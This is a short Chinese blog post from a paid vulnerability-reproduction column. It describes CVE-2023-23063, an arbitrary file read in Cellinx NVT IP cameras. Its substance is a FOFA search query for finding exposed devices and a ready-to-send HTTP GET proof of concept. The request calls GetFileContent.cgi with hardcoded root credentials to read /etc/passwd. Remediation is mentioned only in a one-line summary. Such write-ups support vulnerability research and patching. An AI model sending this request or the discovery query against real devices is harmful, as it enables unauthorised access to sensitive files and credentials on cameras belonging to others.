Cellinx NVT 摄像机 GetFileContent.cgi任意文件读取漏洞（CVE-2023-23063）

0xSecl

已于 2023-12-16 03:48:42 修改

阅读量865

点赞数 10

分类专栏：漏洞复现文章标签：安全 web安全

于 2023-12-16 01:11:54 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/135027501

版权

漏洞复现专栏收录该内容

895 篇文章 1468 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了Cellinx NVT IP PTZ摄像机在v1.0.6.002b版本中存在的安全漏洞，该漏洞允许攻击者读取系统敏感信息，如密码。复现环境为FOFA中发现body包含'local/NVT-string.js'。修复建议包括限制参数输入、设置访问白名单和避免公网访问。

摘要由CSDN通过智能技术生成

0x01 产品简介

Cellinx NVT IP PTZ是韩国Cellinx公司的一个摄像机设备。

0x02 漏洞概述

Cellinx NVT v1.0.6.002b版本存在安全漏洞，该漏洞源于存在本地文件泄露漏洞，攻击者可读取系统密码等敏感信息。

0x03 复现环境

FOFA：body="local/NVT-string.js"

0x04 漏洞复现

PoC

GET /cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd&_=1672577046605 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

了解本专栏